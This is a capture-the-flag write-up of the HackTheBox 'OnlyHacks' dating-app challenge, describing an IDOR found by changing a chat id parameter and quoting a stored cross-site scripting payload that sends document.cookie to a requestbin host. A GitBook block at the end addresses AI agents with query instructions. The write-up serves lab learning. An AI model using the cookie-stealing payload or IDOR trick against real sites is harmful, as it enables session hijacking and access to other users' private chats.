> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-onlyhacks.md).

# HTB - OnlyHacks

### HTTP

Browsing to the given ip address revealed a login and a register page to a dating app.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fw3sdbUMbvHtiYardXWsF%2Fimage.png?alt=media&amp;token=2f92c24d-6f51-461c-89a9-d5ac00eb1d4d" alt=""><figcaption></figcaption></figure>

lets signup an account as the login page is not vulnerable to sql injection.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Ft8KWDL5nlSQ2Cdkz3ygU%2Fimage.png?alt=media&amp;token=d5cbfde8-30ad-45a0-8872-795ea003c317" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FpCWpIF10Fy1SwMPPbrk3%2Fimage.png?alt=media&amp;token=be88cfe2-6c63-4503-b8c1-138bb1049463" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fs3QfZyyIAW8fJoGZf0FS%2Fimage.png?alt=media&amp;token=4c8d2628-f417-4f44-9a27-906a37c032f4" alt=""><figcaption></figcaption></figure>

Looking through the cards, all of them state that the users are not very interested in the dating\
apps concept. Except for one user Renata . She states, in her card, that she is always online.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FGxfYptiEkgROOmd1Bxrs%2Fimage.png?alt=media&amp;token=06eb91e6-1bc1-4e71-91d6-b4095e7e135a" alt=""><figcaption></figcaption></figure>

sending a match to renata instantly matches

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FB3p4IPmnr7Kq9tSqAqBQ%2Fimage.png?alt=media&amp;token=90f9a5f0-aa07-4865-bebb-882f6cfe577c" alt=""><figcaption></figcaption></figure>

clicking on the matched chat a get request is made with a id=6 parameter.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4YTb9soUqqUsPbd7U3oA%2Fimage.png?alt=media&amp;token=6716941f-743a-472b-b8db-ea25518f4685" alt=""><figcaption></figcaption></figure>

this is a possible IDOR scenario that i can check by modifying the value of id.

### IDOR

changing the rid value to 3 results in flag

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FHUlFLnpEeHFe5uBJ7ypY%2Fimage.png?alt=media&amp;token=8dc568b3-4a54-4bd7-b84d-b975eb9b22ad" alt=""><figcaption></figcaption></figure>

### Cross Site Scripting

official writeup talks about cross site scripting in the chat.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FjKAZQbNgSzszmHCP0Yv4%2Fimage.png?alt=media&amp;token=3d4919ae-a1cf-4dd3-aeec-8672f427e81e" alt=""><figcaption></figcaption></figure>

```powershell
<script>document.location='<http://requestbin.whapi.cloud/19bdo3d1>?
c='+document.cookie</script>
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fw0NXqm2VWkPmmKtsXJdQ%2Fimage.png?alt=media&amp;token=91cd39f4-3e3e-4324-b46f-a968bbbd7920" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-onlyhacks.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
